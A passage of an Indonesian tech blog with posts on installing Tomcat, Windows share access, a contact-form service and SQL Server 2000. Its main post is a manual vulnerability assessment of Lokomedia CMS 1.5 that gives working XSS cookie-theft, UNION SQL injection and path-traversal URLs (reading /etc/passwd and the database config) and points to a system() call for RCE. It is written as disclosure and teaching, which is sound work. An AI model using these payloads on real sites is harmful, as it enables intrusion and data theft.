Iklan

Rabu, 09 Januari 2013

Instalasi Apache Tomcat di Windows

- bazComp share -

Apache Tomcat merupakah salah satu servlet/web container yang paling populer di lingkungan pemrograman web java. Apache Tomcat  berada di bawah naungan Apache Software Foundation yang di sana terdapat project-project open source lainnya.
Sebelum kita dapat membuat aplikasi web java, kita harus menginstall servlet/web container yang disini akan kita bahas yaitu apache tomcat. Walaupun sebenarnya jika anda tidak ingin repot-repot, anda cukup mendownload IDE Netbeans yang telah terbundled menjadi satu dengan Apache Tomcat.
Namun tidak ada salahnya kita mencoba menginstall Apache Tomcat secara manual.
Silahkan ikuti langkah-langkah di bawah ini (disini saya menggunakan versi 6.0.18, silahkan disesuaikan dengan versi yang anda gunakan)
  • download apache-tomcat di situs TomCat dalam bentuk .tar.gz
  • ekstrak apache-tomcat-6.0.18 ke dalam directory C:\
  • setting PATH Catalina Home serta Java Home
  • setting JAVA HOME

  • setting CATALINA HOME

  • seting PATH
C:\Program Files\Java\jdk1.6.0\bin;C:\apache-tomcat-6.0.18\bin;
  • logout atau restart windows anda, agar seting yang kita lakukan berfungsi
  • Buka command prompt dan ketik command berikut pada layar command prompt catalina.bat run
  •  
  • Buka web browser seperti mozilla firefox, netscape ataupun internet explorer. Ketik command berikut pada tab URL http://localhost:8080/

  • Untuk stop apache tomcat anda dapat mengeksekusi command berikut pada layar command prompt catalina.bat stop

Demikianlah tutorial singkat mengenai instalasi apache tomcat di sistem operasi windows. Semoga bermanfaat untuk anda yang sedang belajar pemrograman web menggunakan java.


readmore »»  

Jumat, 04 Januari 2013

SOLUSI BUKA SHARING FOLDER WINDOWS 2000 SERVER DARI WINDOWS 7

- bazComp share -

Diantara agan-agan pasti ada yang pernah mengalami masalah saat ingin membuka folder yang disharing di Windows 2000 Server dari client yang menggunakan Windows 7. Keunggulan Windows 7 dalam hal security memang bagus, tapi kendalanya adalah tidak bisa membuka folder yang disharing di Windows 2000 Server, dimana username dan password sudah benar tapi masih ditolak, bahkan lebih gila lagi, meski server diseting tanpa passwordpun masih diminta password, beda dengan Windows XP, yang langsung main nyelonong asal ada koneksi dan folder yang disharing. Berikut ini adalah salah satu solusi yang bisa agan pake untuk menyelesaikan masalah ini:


Solusi untuk mengatasi masalah koneksi antara Windows 7 dengan Windows Server 2000.


Lakukan beberapa seting berikut pada Windows 7:
1.       Edit Registry, caranya Start – Run – ketik REGEDIT
2.       Arahkan/buka HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
3.       Buatlah nilai bertipe DWORD didalam Lsa :
          LmCompatibilityLevel
          Set Value = 1
4.       Keluar dari REGEDIT
5.       Jalankan update Group Policy dengan cara Start – Run – ketik gpupdate / force


Kemudian pada Windows 2000 Server, lakukan berikut :
1.       Start – Run – ketik gpedit.msc
2.       Didalam Computer Configuration – Windows Setting – Security Setting, Local Policies, Security Options :
Cari dan perhatikan LAN Manager Authentification Level, set atau gantilah menjadi SEND  LM & NTLM – use NTLM v2 session security if negociated – akhiri dengan klik OK.
3.       Kemudian lakukan perintah berikut :
Start – Run – ketik secedit /refreshpolicy user_policy
Start – Run – ketik secedit /refreshpolicy machine_policy


Cek koneksi dengan cara membuka shared folder di Server dari Windows 7.
Semoga bermanfaat.
readmore »»  

Rabu, 07 November 2012

Vulnerability Assessment studi kasus cms lokomedia

cukup sulit juga mencari judul untuk tulisan yang satu ini, selain saya sebagai pemula juga karena sedikit mangantuk karena tidak bobok udah dua hari dua malam, sehingga pemikiran sedikit galau stadium akhir :lol: saya memilih judul vulnerability assesment karena pada tulisan ini saya akan mencoba merobek - robek cms lokomedia versi 1.5 untuk mencari celah yang bisa di susupi, kenapa lokomedia ? kenapa bukan wordpress dan cms yang terkenal lainya ? jawabanya cukup simple karena pemerintah indonesia kebanyakan menggunakan cms lokomedia, dan saya berharap dengan tulisan ini pemerintah (khususnya pengelola websitenya dan yang terhormat mas lukmanul hakim) bisa segera melakukan penambalan di setiap tempat yang bolong, sekaligus saya juga ingin berbagi kepada warga indoensia tentang bagaiamana menemukan sebuah bug dalam Aplikasi berbasis web
mungkin saya bukanlah orang pertama yang menemukan bug pada cms lokomedia, pada versi-versi sebelumnya juga banyak yang menemukanya, disini saya hanya ingin berbagi bagaiaman memanfaatkan sumberdaya yang ada (free dan tidak berbayar), memang banyak tools-tools yang bertebaran di luar sana yang fungsinya cukup jitu untuk menemukan bug-bug pada aplikasi berbasis web, seperti nikto, wa3f, acunetix, kerinci, dan ratusan tools lainya baik berbayar maupun tidak, tetapi pada dasarnya sebuah software tidaklah bekerja sempurna 100% karena software juga merupakan buatan manusia dan bekerja atas dasar kondisi-kondisi dimana kondisi tersebut sudah di tentukan sebelumnya. menurut saya pribadi melakukan pencarian bug secara manual akan lebih terasa tantangannya daripada menemukan bug menggunakan tools yang ada, secara gamlang bisa kita katakan bahwa softwere tidaklah sempurna :lol:

Black Box vs White Box

sebelum kita melangkah lebih jauh mari kita kembali mengklrarifikasikan apa itu Black Box dan apa itu White Box, Black Box secara sederhana bisa dikatakan sebagai sekumpulan atau kelompok orang yang melakukan penetrasi terhadap sebuah system tanpa memiliki pengetahuan dan informasi dasar dari system yang akan di uji, sedangkan White Box adalah kebalikannya, yaitu kelomompok yang memiliki pengetahuan dan informasi dasar dari system yang akan di ujinya, kadang ada juga yang di sebut dengan Grey Box, Grey Box berada di antara Black Box dan White Box, untuk menjadi Bug Hunter saya rasa sudah jelas the real bug hunter yang mana dan The ecek-ecek bug hunter yang mana :lol:

The Bug-ing

Well akhirnya sampai juga ke topik utama kita, melakukan debuging terhadapa CMS lokomedia versi 1.5, untuk mengitkuti tulisan ini kita harus memiliki tujuan yang jelas, seperti misalnya mencari bug untuk XSS (cross site scripting), SQL injection, Local File Disclourse, Remote Command Injection dan lainya, dalam kasus ini kita akan mencoba menemukan beberapa di antaranya, kemudian kita perlu source code dari CMS lokomedia, bisa download aja langsung ke Situs Resmi Lokomedia, disini saya menggunakan System Operasi Ubuntu 10.10, karena kita akan mengguanakn utility build in dari ubuntu untuk melakukan the buging CMS lokomedia ini, setelah download langsung install saja
karena ini merupakan proses pencarian bug (celah keamanan) kita bisa mencobanya di komputer local tanpa harus khawatir terkena UU ITE yang menyebalkan, untuk tahap selanjutnya kita akan mencoba menggunakan perintah perintah grep untuk mulai melakukan debug, yang perlu di perhatikan adalah tempat instlasi cms lokomedia berada, di sini saya mengintallnya pada folder
1
/opt/lampp/htdocs/lokomedia
di karenaka cms lokomedia mengguanakan SEO untuk URLnya kita harus memahami terlebih dahulu MAP atau peta dari URI tersebut, karena pada dasarnya url yang telah di rewrite menggunakan .htaccess sudah menjadi bentuk yang bukan aslinya, misalnya seperti
1
2
3
http://localhost/lokomedia/berita-120-the-king-speech-saat-raja-belajar-bertutur-kata.html
http://localhost/lokomedia/kategori-21-ekonomi.html
http://localhost/lokomedia/semua-download.html
Uri tersebut sudah di rewrite (tulis ulang) sehingga menjadi lebih SEO (katanya sih gitu), jika kita perhatikan deretan uri tersebut kita bisa mengambil kesimpulan bahwa yang beruapa angka merupakan id atau kunci dari apa yang kita cari, jika uri-uri tersebut kita pecah menjadi beberapa bagian maka hasilnya akan seperti berikut
1
2
3
{host}/{uri_map}-{id_berita}-{judul_berita}.html
{host}/{uri_map}-{id_kategori}-{nama_kategori}.html
{host}/{uri_map}
{uri_map} merupakan rute url yang mengarah kepada file yang sebenarnya, dengan adanya {uri_map} maka akan sedikit sulit bagi attacker untuk mengetahui kemana sesungguhnya file itu akan di bawa, karena cms lokomedia mengguanakn jenis seperti itu kita harus melihat file .htaccess nya agar bisa melihat kemana saja arah dari {uri_map} yang ada, untuk itu buka saja dengan text editor file .htaccess yang berada dalam folder isntalasi cms lokomedia, jika tidak terlihat tekan tombol (ctrl+h) untuk memunculkan file yang bertipe hidden, berikut isi dari gile .htaccess cms lokoemdia
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<ifmodule mod_rewrite.c="">
RewriteEngine on
RewriteRule ^home$ media.php?module=home [L]
RewriteRule ^galeri-(.*)\.html$ zoom.php?id=$1 [L]
RewriteRule ^album-([0-9]+)-(.*)\.html$ media.php?module=detailalbum&id=$1 [L]
RewriteRule ^berita-(.*)\.html$ media.php?module=detailberita&id=$1 [L]
RewriteRule ^agenda-(.*)\.html$ media.php?module=detailagenda&id=$1 [L]
RewriteRule ^statis-(.*)\.html$ media.php?module=halamanstatis&id=$1 [L]
RewriteRule ^hasil-pencarian\.html$ media.php?module=hasilcari&id=$1 [L]
RewriteRule ^indeks-berita\.html$ media.php?module=indeksberita&id=$1 [L]
RewriteRule ^hasil-poling\.html$ media.php?module=hasilpoling&id=$1 [L]
RewriteRule ^lihat-poling\.html$ media.php?module=lihatpoling&id=$1 [L]
RewriteRule ^profil-kami\.html$ media.php?module=profilkami&id=$1 [L]
RewriteRule ^hubungi-kami\.html$ media.php?module=hubungikami&id=$1 [L]
RewriteRule ^hubungi-aksi\.html$ media.php?module=hubungiaksi&id=$1 [L]
RewriteRule ^semua-berita\.html$ media.php?module=semuaberita&id=$1 [L]
RewriteRule ^halberita-(.*)\.html$ media.php?module=semuaberita&halberita=$1 [L]
RewriteRule ^kategori-(.*)\.html$ media.php?module=detailkategori&id=$1 [L]
RewriteRule ^halkategori-(.*)-([0-9]+)\.html$ media.php?module=detailkategori&id=$1&halkategori=$2 [L]
RewriteRule ^semua-agenda\.html$ media.php?module=semuaagenda&id=$1 [L]
RewriteRule ^halagenda-(.*)\.html$ media.php?module=semuaagenda&halagenda=$1 [L]
RewriteRule ^semua-download\.html$ media.php?module=semuadownload&id=$1 [L]
RewriteRule ^haldownload-(.*)\.html$ media.php?module=semuadownload&haldownload=$1 [L]
RewriteRule ^semua-album\.html$ media.php?module=semuaalbum&id=$1 [L]
RewriteRule ^halgaleri-([0-9]+)-(.*)\.html$ media.php?module=detailalbum&id=$1&halgaleri=$2 [L]
RewriteRule ^halkomentar-(.*)-([0-9]+)\.html$media.php?module=detailberita&id=$1&halkomentar=$2 [L]
Options All -Indexes
</ifmodule>
perhatikan lagi isi dari file .htaccess-nya, disana terdapat nama dari uri-map yang di rutekan kepada file lain, dintandai dengan deretan reguler expresi untuk menentukan beberapa kondisi, pada tahap awal ini sangatlah penting untuk memahami kemana saja arah dari uri-map tersebut, karena pada dasarnya tidak mungkin kita melakukan injeksi pada uri yang sudah di rewrite (tulis ulang), jika kita melakukanya maka server akan memberikan respon 404 (not Found) atau 301 (moved Permanent) atau bahkan 500 (internal sever Error) atau bahkan pesan porbidden, mari kita liat lagi perbandingan nya
1
2
3
4
5
6
7
8
#uri pada halaman web
http://localhost/lokomedia/berita-120-the-king-speech-saat-raja-belajar-bertutur-kata.html
#jika kita pisah per bagianya
{host}/{uri_map}-{id_berita}-{judul_berita}.html
#pada htaccess
RewriteRule ^berita-(.*)\.html$ media.php?module=detailberita&id=$1 [L]
sekarang sudah jelaskan ? ini maksudnya uri-uri tersebut bisa kita akses mengguanakn alamat uri aslinya sebelum di rewrite oleh htaccess, seperti yang saya tulis sebelunya kita tidak mungkin melakukan injeksi dengan alamat uri yang sudah di rewrite, tetapi kita bisa melakukan injeksi dengan menggunakan alamat uri aslinya, berikut perbandinganya
1
2
3
4
5
http://localhost/lokomedia/berita-120-the-king-speech-saat-raja-belajar-bertutur-kata.html
#sama dengan
http://localhost/lokomedia/media.php?module=detailberita&id=120
coba perhatikan uti pada gambar, hasilnya sama kan dengan menggunakan uri yang sudah di rewrite menggunakan .htaccess ?

Proses

sekarang kiita akan mencoba melakukan debuging terhadap source code cms lokomedia, kita akan melakukan pencarian variable-variable yang di bawa oleh paramter seperti $_GET, $_POST, $_SERVER, $_COOKOES, $_FILES, $_REQUEST dan yang lainya, karena pada bagian inilah yang paling sering terkena bug-bug seperti XSS dan SQL injection, kita bisa melakukannya mengguanakan perintah search yang ada pada text editor atau meggunakan fungsi grep pada linux (ubuntu), untuk tahap awal mari kita periksa dulu ubuntu kita sudah tersintall grep atau belum (secara default sudah ada), untk mengeceknya bisa menggunkan perintah grep -V jika hasilnya seperti gambar maka grep sudah terinstall

Mencari Bug XSS (cross site scripting)

Untuk tahap awal ini kita akan mencoba mencari celah untuk XSS, biasanya XSS terjadi karena tidak di filternya variable yang di bawa oleh paramater seperti yang di sebutkan di atas tadi, karena CMS lokomedia mengguanakn PHP sebagai enjinnya maka sudah pasti setiap ingin menampilkan hasil kelayar akan menggunakan perintah echo,print, atau print_r untuk itu kita akan menggunakan regular expresion pada grep untuk mencari semua listing program yang mengandung kata $_GET dan echo kemudian hasilnya akan kita simpan kedalam sebuah file yang nantinya kita analisis, pertma masuk dulu kedalam folder tempat dimana cms lokomedia terisntall, buka terminal dan ketikan perintah
1
khairu@green-ilands:~$ cd /opt/lampp/htdocs/lokomedia
dalam folder lokomedia sudah tentu banyak folder dan file-file yang tersdiri dari berbagai ektensi, seperti js, txt, php dan tanpa ektensi, kita akan mencoba mencari ke semua file tersebut secara recrusif (termasuk sub folder) yang ada didalamnya, untuk memulainya ketikan saja perintah seperti berikut di console terminal
1
2
#perintah dasarnya : grep [-opsi] [-opsi] "regex" | grep "string" >> tempat_nyimpan_file
khairu@green-ilands:/opt/lampp/htdocs/lokomedia$ grep -i -r "$_GET" * | grep "echo" >> /home/khairu/Desktop/tes_xss.txt
tunggu beberapa saat maka hasil grep akan tersimpan dalam sebuah file dengan nama tes_xss.txt yang terletak di desktop kita, untuk path silahkan si sesuaikan saja, setelah selesai buka file tes_xss.txt dan amati hasilnya, hasil yang saya peroleh seperti berikut
1
2
3
tinymcpuk/imagemanager/editor.php:<iframe src="editorFrame.php?img=<?php if(isset($_GET['img'])) echo rawurlencode($_GET['img']); ?>" name="editor" id="editor"  scrolling="auto" title="Image Editor" frameborder="0"></iframe>
tinymcpuk/filemanager/connectors/php/connector.php:         if ($fckphp_config['Debug_GET']) echo "$_GET::n".print_r($_GET,true)."<br />n";
tinymcpuk/filemanager/connectors/php/connector.php: echo str_replace("n","<br />",print_r($_GET,true));
Perhatikan hasil perncarian kita menggunakan grep tadi, dari hasilnya pada baris terakhir terdapat bug XSS yang ada di file tinymcpuk/filemanager/connectors/php/connector.php disana juga terdapat beberapa yang lainnya, terlihat variable $_GET akan di cetak ke layar menggunakan perintah print_r(), dan anehnya lagi variable $_GET tidak di beri nilai, ini artinya kita bisa memberikan nilai untuk variabel $_GET dengan nilai apa saja, mari kita coba di browser, untuk memastikan bug XSS ini, ketikan alamat berikut di browser
1
http://localhost/lokomedia/tinymcpuk/filemanager/connectors/php/connector.php
disana terdapat hasil yang menunjukan nilai Invalid command.Array(), ini karena kita belum memberikan nilai dari $_GET, ajas kerja XSS adalah menyisipkan kode-kode seperti javascript atau html, walapun efek XSS yang kita temukan ini tidak permanent tetapi tetap saja ini merupakan sebuah celah yang bisa di manfaatkan oleh para attacker jahat, sekarang mari kita coba meberikan nilai untuk variable $_GET berupa apa saja, dan perhatikan hasilnya di browser
1
http://localhost/lokomedia/tinymcpuk/filemanager/connectors/php/connector.php?nama=<h1>wenkhairu</h1>&xss=<script>alert(document.cookie)</script>
w00t Xss detected, ternyata analisis kita bener heheheh, masih ada XSS di CMS lokomedia, walapun sebenarnya ini hanya plugin dari bawaan tinymcupk tetap saja namanya lokomedia :lol: teman-teman bisa menilai sendiri ini bug nya lokomedia atau bukan, yang pasti tetap saja ini merupakan sebuah bug :)

SQL inejction

Sekarang kita akan mencoba menemukan Celah SQL injection pada cms Lokomedia, sebelunya saya harap teman-teman sudah memahami uri-map yang sebelunya sudah kita bahas di awal tadi, di sini kita tetap mengguanakan grep sebagai swiss army (alat perang) kita, kalo teman-teman mau mengguanakn text-editor juga tidak apa :) tetapi saya menyarankan mengguanakan grep karena selain tidak perlu isntall juga mudah dalam megguanakanya, oke sekarang kita memberikan perintah untuk mencari semua variable yang berasal dari $_GET atau $_POST, tetapi tidak di munculkan kelayar, biasanya hanya beruapa angak yang menunjukan kunci utama dari sebuah tabel di database, untuk itu kita memberikan peritah seperti berikut
1
khairu@green-ilands:/opt/lampp/htdocs/lokomedia$ grep -i -r "$_GET" *  >> /home/khairu/Desktop/tes_sql.txt
tunggu beberapa saat maka hasilnya akan tersimpan dalam file bernama tes_sql.txt di Desktop kita, setelah selesai buka file tersebut (agak banyak) untuk kita analis, lebih kurang hasilnya seprti berikut
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
breadcumb.php:if($_GET['module']=='home'){
breadcumb.php:elseif($_GET['module']=='detailberita'){
breadcumb.php:                        AND id_berita='$_GET[id]'");
breadcumb.php:elseif($_GET['module']=='detailkategori'){
breadcumb.php:  $detail =mysql_query("SELECT nama_kategori from kategori where id_kategori='$_GET[id]'");
dina_meta1.php:if (isset($_GET['id'])){
dina_meta1.php:    $sql = mysql_query("select judul from berita where id_berita='$_GET[id]'");
dina_meta2.php:if (isset($_GET['id'])){
dina_meta2.php:  $sql = mysql_query("select tag from berita where id_berita='$_GET[id]'");
dina_titel.php:if (isset($_GET['id'])){
dina_titel.php:    $sql = mysql_query("select judul from berita where id_berita='$_GET[id]'");
downlot.php:$filename = $_GET['file'];
kiri.php:  $ambil_id = substr($_GET['id'],0,4);
kiri.php:              WHERE id_berita='$_GET[id]'");
kiri.php:  $komentar = mysql_query("select count(komentar.id_komentar) as jml from komentar WHERE id_berita='$_GET[id]' AND aktif='Y'");
kiri.php:  $sql = mysql_query("SELECT * FROM komentar WHERE id_berita='$_GET[id]' AND aktif='Y' LIMIT $posisi,$batas");
kiri.php:       $jmldata     = mysql_num_rows(mysql_query("SELECT * FROM komentar WHERE id_berita='$_GET[id]' AND aktif='Y'"));
kiri.php:    $linkHalaman = $p->navHalaman($_GET['halkomentar'], $jmlhalaman);
kiri.php:  $jmldata     = mysql_num_rows(mysql_query("SELECT * FROM gallery WHERE id_album='$_GET[id]'"));
kiri.php:  $linkHalaman = $p->navHalaman($_GET['halgaleri'], $jmlhalaman);
kiri.php:elseif ($_GET['module']=='hubungikami'){
kiri.php:elseif ($_GET['module']=='hubungiaksi'){
kiri.php:elseif ($_GET['module']=='halamanstatis'){
kiri.php:                      WHERE id_halaman='$_GET[id]'");
zoom.php:$s = mysql_query("SELECT * FROM gallery WHERE id_gallery='$_GET[id]'");
wow banyak ya, ternyata semua file-file tersebut tidak di filter sama sekali, mari kita ambil salah satu contoh nya saja, yaitu pada bagian
1
zoom.php:$s = mysql_query("SELECT * FROM gallery WHERE id_gallery='$_GET[id]'");
Terlihat jelas ya bahwa semua tidak di filter, salah satunya file dengan nama zoom.php disana tampak bahwa variable $_GET[id] di letakan secara langsung untuk menangani sebuah query ke database, teman-teman pasti sudah tau impacnya dimana, yap sudah pasti terkena SQL injection, untuk itu mari kita coba buktikan kebenaranya, buka browser dengan alamat http://localhost/lokomedia/zoom.php kemudian kita beri nilai dari $_GET[id], sehingga bentuk dari url seperti berikut
1
http://localhost/lokomedia/zoom.php?id=9
jika kita menelusuri lebih jauh tentang SQL injection pastilah tulisan ini tidak akan pernah tuntas, untuk itu saya tidak membahas bagaiman teknik SQL injection itu di lancarkan saya rasa tulisan untuk itu sudah banyak yang membahasnya, hasil kahir dari bug yang di dapat dengan memberikan peritah seperti berikut adalah
1
http://localhost/lokomedia/zoom.php?id=9' and 1=0 union select 1,2,3,4,5,user()%23
memang agak aneh ya heheheh, hasilnya muncul di source code halaman, pada awalanya saa juga bingung, kemana tu hasilnya kok ga nongol, ternyata ada di source code nya, untuk melihat hasilnya bisa dengan menekan tombol (ctrl+u), nongol dah tu hasilnya, pada file yang lain juga terdapat SQL injection, tetapi sedikit advanced, karena merupakana Blind SQL injection, di tandai dengan tidak adanya pesan error yang muncul pada saat kita melakukan injeksi, salah satu contohnya seperti berikut
1
http://localhost/lokomedia/media.php?module=detailberita&id=122' AND 1=0 union select 1,2,3,version(),5,6,database(),8,9,10,11,12,13,14,15,user(),17,18,19,20,21,22,23,24,25%23
hasil yang terlihat di gambar sangat jelas bahwa terbukti cms lokomedia versi 1.5 masih terkena bug SQL injection yang akibatnya cukup fatal, saya harap mas lukamnul hakim bisa cepat memperbaikinya, untk keterangan jelas tentang POC SQL injection ini bisa teman-teman lihat dalam bentuk video yang bisa di download di akhir tulisan saya ini, sekarng kita beralih ke bug selanjutnya

LFD

bug ini kalo saya tidak salah pada versi sebelumnya juga sudah ada, tetapi saya kurang begitu mengerti versi update dari cms lokomedia ini, mudah-mudahan bisa cepat di perbaiki saja, sekarang coba perhatikan lagi hasil grep kita pada file tes_sql.txt tadi terdapat sebuah baris yang menunjukan kemungkinan terjadinya celah LFD disana
1
downlot.php:$filename = $_GET['file'];
untuk mengujinya mari kita coba saja, apakah benar - benar terdapat bug LFD atau tidak, buka browser dengan alamat seperti berikut
1
http://localhost/lokomedia/downlot.php
hasil dari alamat tersebut akan normal saja, jika kita perhatikan soruce code file downlot.php maka kita bisa melakukan LFD dengan menambahkan injeksi nullbyte, masih bingung ? mari kita lihat sejenak source dari file downlot.php
1
2
3
4
5
6
if ($file_extension=='php'){
  echo "<h1>Access forbidden!</h1>
        <p>Maaf, file yang Anda download sudah tidak tersedia atau filenya (direktorinya) telah diproteksi. <br />
        Silahkan hubungi <a href='mailto:redaksi@bukulokomedia.com'>webmaster</a>.</p>";
  exit;
}
terlihat kan jika file yang kita download berupa file php maka akan keluar pesan yang menyatakan bla...bla...bla..., mungkin mas lukman kelupaan (takut di cekal), tetapi taukah anda bahwa kita masih bisa mendownload file php dengan menambahkan injeksi nulbyte sperti .jpg atau sejenisnya ? tidak percaya ? mari kita buktikan, buka browser dan tambahakn parameter seperti berikut
1
2
http://localhost/lokomedia/downlot.php?file=../../../../../../etc/passwd
http://localhost/lokomedia/downlot.php?file=../config/koneksi.php.txt

RCE ?

mungkinkah ? mari kita mencoba mencari kemungkinan terjadinya bug RCE yang ada pada cms lokomedia ini, karena menurut saya bug ini merupakan bug yang paling riskan dari semua yang sudah kita bahas sebelumnya,sekarang kita gunakan grep untuk mencari hasilnya dengan perintah seperti berikut
1
khairu@green-ilands:/opt/lampp/htdocs/lokomedia$ grep -i -r "system" *  >> /home/khairu/Desktop/tes_rce.txt
tunggu beberapa saat, file dengan nama tes_rce.txt akan hadir di dekstop kesaangan kita, begitu selesai langsung buka saja filenya untuk di analisis lebih lanjut, hasil dari penelusuran saya seperti berikut
1
tinymcpuk/imagemanager/Classes/NetPBM.php:        $output = system($cmd);
bagaiamana membuktikanya ? untuk hal yang satu ini saya serahkan kepada teman-teman semua :lol: silahkan di cari cara exploitasinya, jika berhadil maka ratussan web pemerintah yang menggunakan CMS lokomedia ini akan terancam jiawanya dan para pekerjanya juga bisa-bisa marah-marah, saya rasa sekian dulu dari saya mudah-mudah tulisan yang simple ini bisa menjadi bahan belajar buat bersama, saya tidak bermaksud membeberkan kelemahan yang ada, saya hanya mencoba memberikan penjelasan bangaimana sebernarnya cara mencari sebuah bug pada aplikasi web, karena saya melihat masih banyak yang bergantung kepada hasil scaning tools dan memanfaatkan resource-resource yang ada seperti exploit-db, jika mereka bisa menemukannya kenapa kita tidak ?
sekian dari saya, thanks for reading
readmore »»  

Selasa, 23 Oktober 2012

Membuat Form Order atau Contact Person di Blog



- bazComp share -



Form Order atau Contact Person merupakan hal yang cukup penting bagi sebuah blog, apalagi jika blog tersebut bergerak di bidang Bisnis Online dan penyedia pemasangan iklan.

Karena dengan adanya contact person, ini akan memudahkan pengunjung untuk melakukan order ataupun pemesanan terhadap produk yang disediakan suatu blog. Ini juga merupakan suatu kemudahan bagi pengunjung untuk berinteraksi dengan admin karena dengan adanya contact person ia tidak perlu lagi membuka email untuk melakukan order, karena pesan akan langsung terkirim ke pemilik blog, setelah kita mengisi form yang telah disediakan. Banyak penyedia layanan membuat contact person baik yang berbayar maupun yang gratisan, Salah satu penyedia contact person gratisan adalah emailmeform.com dan masih banyak lagi yang lainya.




Agar contact person / form order tampil pada blog, anda bisa mengikuti langkah mudah berikut ini:



Masuk di http://www.emailmeform.com/ kemudian lakukan registrasi dengan klik bacaan sign up ==> isi form yang disediakan
Setelah mengisi form register dengan benar ==> klik sign up
Buka email anda kemudian klik link verifikasi yang dikirimemailmeform untuk proses verifikasi
Pada bacaan "please click here to go into your Control Panel" klik kata "here" dan anda akan dibawa ke halaman control panel ==> klik "View the Form list" ==> klik "Create Form Wizard", selanjutnya anda akan menuju halaman berikut
Langsung saja klik Next kemudian pada step 2 isi nama, email, subjectdan message pada form yang telah di sediakan kemudian klik Next ==> Next ==> Next ==> Next
Klik Finish

Sekarang proses registrasi emailmeform sudah selesai, agar contact persontampil pada blog, harus memasukkan code html yang diberikan, dengan cara log in ke acount blogger dengan username dan pasword anda.
readmore »»  

Kamis, 13 September 2012

MENGENAL SQL SERVER 2000 berikut versinya



- bazComp share -

PENGENALAN SQL SERVER 2000
Microsoft SQL Server 2000 ialah perangkat lunak Relational Database
Management System (RDBMS) yang handal. Dirancang untuk mendukung proses
transaksi yang besar seperti (inventori, akuntansi atau manufaktur) dengan arsitektur
client/server.
Dalam sistem client/server, ada suatu program yang meminta pelayanan khusus
dan ada juga yang memproses palayanan dari permintaan tersebut. Program yang
meminta pelayanan disebut client, sedangkan yang memberikan pelayanan disebut
server. Microsoft SQL Server 2000 juga ditujukan untuk arsitektur ini. Data disimpan
dan diatur oleh server, sedangkan client berinteraksi dengan user dan mentransmisikan
user ke server. SQL Server 2000 dapat dijalankan pada sistem operasi Windows NT4.0
Server atau Microsoft Windows 2000 Server, dan dapat diinstall juga pada personal
desktop di Windows 2000 profesional, Windows 98 dan Windows Millenium.
SQL Server 2000 memiliki beberapa versi antara lain :
• SQL Server Personal Edition
• SQL Server Developer Edition
• SQL Server Enterprise Edition
• SQL Server Standard Edition
• SQL Server Desktop Engine
• SQL Server for Windows CE Edition
Masing masing versi memiliki perbedaan dalam hal maksimum ukuran database, RAM, jumlah koneksi, serta berbagai feature lanjutan. Versi Personal, Developer, dan Desktop dapat diinstall di OS Desktop seperti Windows 2000 Professioanal dan Xp, sedangkan versi Enterprise dan Standardhanya dapat diinstal di Windows 2000/2003 Server serta NTServer. Versi Windows CE biasa digunakan untuk PDA dan Pocket PC. SQL Server 2000 mempunyai fasilitas tambahan yang membuat ia memiliki kemampuan penuh dalam e-Commerce. SQL Server 2000 secara otomatis akan menginstallenam
database utama, yaitu master, model, tempdb, pubs Northwind, dan msdb. Berikut
penjelasan masing-masing database :


1. Master
Master database ialah gabungan dari tabel-tabel sistem yang mencatat instalasi
server secara keseluruhan dan seluruh database yang dibuat secara subsekuen.
Database master sangat kritis pada sistem Anda, jadi pastikan untuk
membackup/mengkopinya. Operasi seperti pembuatan database lainnya, mengubah
konfigurasi dan memodifikasi account login akan mengubah database master, jadi
setelah melakukan aktivitas tersebut, Anda harus membackup database master.
2. Model
Model database ialah template database. Setiap kali Anda membuat database,
SQL server membuat sebuah kopi dari model untuk membentuk basis dari database
baru. Jika Anda menginginkan setiap database baru untuk memulai dengan obyek
tertentu atau ijin, Anda dapat meletakkannya di model, dan seluruh database baru akan
mengikutinya.
3. Tempdb
Tempdb ialah database tempat menampung data sementara untuk wadah kerja
kita. Database ini akan dibuat setiap SQL server di start ulang. Seluruh pengguna/user
mempunyai hak untuk membuat dan menggunakan tabel private dan globalsementara
yang disimpan di database tempdb (tabel private dan global mempunyai awalan #
dan ##).
4. Pubs
Database ini ialah database contoh yang sering digunakan untuk panduan
belajar SQL server. Anda boleh menghapusnya jika Anda tidak menginginkannya. Anda
tidak perlu takut untuk membuat perubahan/modifikasi pada database pubs, karena
Anda dapat menginstall ulang database pubs dengan menjalankan scriptnya pada subdirektori
install. Pada SQL Query Analyzer, buka file dengan nama Instpubs.sql dan eksekusi file script tersebut. Pastikan bahwa tidak ada database pubs di server Anda
dengan men-drop database tersebut.
5. Northwind
Database Northwind ialah contoh database yang awalnya dibangun untuk
digunakan di Microsoft Access. Database Northwind dapat dibuat dengan cara yang
sama seperti database pubs, yaitu dengan menginstal instnwnd.sql di
subdirektori\install.
6. Msdb
Database MSDB digunakan oleh SQL Server Agent Service, yang membentuk
aktivitas terjadwal seperti backup dan tugas-tugas replikasi. Seluruh informasi di dalam
msdb dapat diakses dari SQL Server Enterprise Manager. Jadi, Anda biasanya tidak harus mengakses data secara langsung.


INSTALASI MS SQL SERVER 2000
Instalasi SQL Server 2000 sangat mudah. Dalam contoh inipenulis menggunakan versi personal, yang sudah mencukupiuntuk bekerja dan membuat aplikasi. Versi ini 100% kompatibeldengan versi lain yang lebih tinggi (Standard dan Enterprise).Database dan semua obyeknya dapat direstore ke versi tersebuttanpa ada masalah.
Pada saat memulai, Anda harus menentukan lokasi instalasi apakah di local computer, atau di komputer lain dalamjaringan



Selanjutnya pilih Create New Instance agar SQL Server membuat
instalasi baru





Langkah berikutnya adalah menentukan komponen yangakan diinstal. Pilih server and Client Tools yang meliputi databaseengine sebagai inti SQL Server dan client tools yang berfungsisebagai interface untuk mengatur dan setup SQL Server. ApabilaAnda belum memiliki instalasi SQL Server di komputer tersebut,pilih “Default”. Jika sudah ada SQL Server di komputer, Andadapat membuat instance baru sehingga terdapat 2 SQL Server dikomputer Anda



Tipe instalasi Typical sudah cukup mewakili untuk berbagai
feature yang dibutuhkan dalam membuat aplikasi.



Pada bagian service setting, pilih local system account.Artinya SQL Server menggunakan account system di OS untukmenjalankan servicenya. Anda dapat juga menggunakan accountyang terdapat di domain/ Active Directory maupun account usertertentu untuk menjalankan service tersebut.
Untuk mode Autentikasi, sebaiknya dipilih WindowsAuthentication yang lebih menjamin keamanan karenaterintegrasi dengan Windows.
